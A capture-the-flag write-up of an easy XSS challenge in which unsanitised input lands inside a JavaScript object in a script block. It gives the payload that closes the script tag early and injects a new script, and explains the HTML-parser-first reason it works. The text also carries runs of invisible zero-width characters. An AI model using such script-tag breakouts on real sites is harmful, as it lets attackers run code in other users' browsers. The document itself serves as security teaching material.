Easy 5

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: html_parser_priority, script_tag_breakout

Summary

XSS challenge where input is placed inside a JavaScript object literal within a <script> block. No filtering is applied.

Easy 5 — Web Kids 2.0 (sibearsxss)

Description

XSS challenge where input is placed inside a JavaScript object literal within a <script> block. No filtering is applied.

Analysis

Escape function:

 javascript read-only • copy allowed Copy
function escape(s) {
  return '<script>\r\n var a = "", b = "";\r\n' +
         'var obj = {a: a, b: b, c: {a: a, b: b, c: {a: a, b: b, c: {a: a, b: function(a) { if (a) {return {a: a, b: ' + s + '}}}}}}};\r\n' +
         '</script>';
}

Input s is placed directly inside a deeply nested JavaScript object as a value expression. No sanitization is performed. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key insight: HTML parser has priority over JavaScript parser. When the HTML parser encounters </script>, it closes the script block immediately, regardless of JavaScript syntax context.

Solution

Close the script tag and inject a new script block:

Payload:

1</script><script>prompt("sibears")</script>

Result:

 html read-only • copy allowed Copy
<script>
 var a = "", b = "";
var obj = {a: a, b: b, c: {a: a, b: b, c: {a: a, b: b, c: {a: a, b: function(a) { if (a) {return {a: a, b: 1</script><script>prompt("sibears")</script>}}}}}}}; 
</script>

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

How it works:

1. 1 provides a valid value for the object property
2. </script> closes the original script block (HTML parser priority)
3. <script>prompt("sibears")</script> opens a new script block with XSS payload
4. The remaining }}}}}}}; </script> becomes invalid HTML text (ignored)

The first script block has a syntax error but the second script block executes successfully. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍